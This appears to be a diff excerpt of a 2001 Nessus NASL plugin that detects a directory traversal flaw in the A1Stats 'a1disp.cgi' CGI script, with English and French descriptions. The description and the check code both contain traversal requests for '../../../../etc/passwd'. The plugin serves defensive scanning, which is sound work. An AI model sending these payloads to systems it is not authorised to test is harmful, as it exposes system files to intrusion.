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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10669);
- script_bugtraq_id(2705);
- script_cve_id("CAN-2001-0561");
- script_version("$Revision: 1.17 $");
-
- name["english"] = "A1Stats Traversal";
- name["francais"] = "A1Stats";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "The 'a1disp.cgi' CGI script was found on
- this system. The script allows an attacker to view any file
- on the target computer by requesting :
-
- GET /cgi-bin/a1disp*.cgi?/../../../../etc/passwd
-
- Solution : Delete the 'a1disp.cgi' script.
-
- Risk factor : High";
-
- desc["francais"] = "Le CGI 'a1disp' permet α un
- pirate de lire n'importe quel fichier sur la machine cible
- au travers de la commande :
-
- GET /cgi-bin/a1disp*.cgi?/../../../../etc/passwd
-
- Facteur de risque : ElevΘ
-
- Solution : Supprimez cette page";
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Checks if A1Stats reads any file";
- summary["francais"] = "DΘtermine si a1stats lit n'importe quel fichier";
-
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_GATHER_INFO);
-
-
- script_copyright(english:"This script is Copyright (C) 2001 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2001 Renaud Deraison");
- family["english"] = "CGI abuses";
- family["francais"] = "Abus de CGI";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "http_version.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- #
- # The script code starts here
- #
- include("http_func.inc");
- include("http_keepalive.inc");
-
- function check(str)
- {
- req = http_get(port:port, item:str);
- r = http_keepalive_send_recv(port:port, data:req);
- if( r == NULL ) exit(0);
- if(egrep(pattern:".*root:.*:0:[01]:", string:r))return(1);
- return(0);
- }
-
- port = get_http_port(default:80);
-
-
- if(get_port_state(port))
- {
- foreach dir (cgi_dirs())
- {
- req = string(dir, "/a1disp3.cgi?/../../../../../../etc/passwd");
- if(check(str:req)){security_hole(port);exit(0);}
- req = string(dir, "/a1stats/a1disp3.cgi?/../../../../../../etc/passwd");
- if(check(str:req)){security_hole(port);exit(0);}
- }
- }
-
-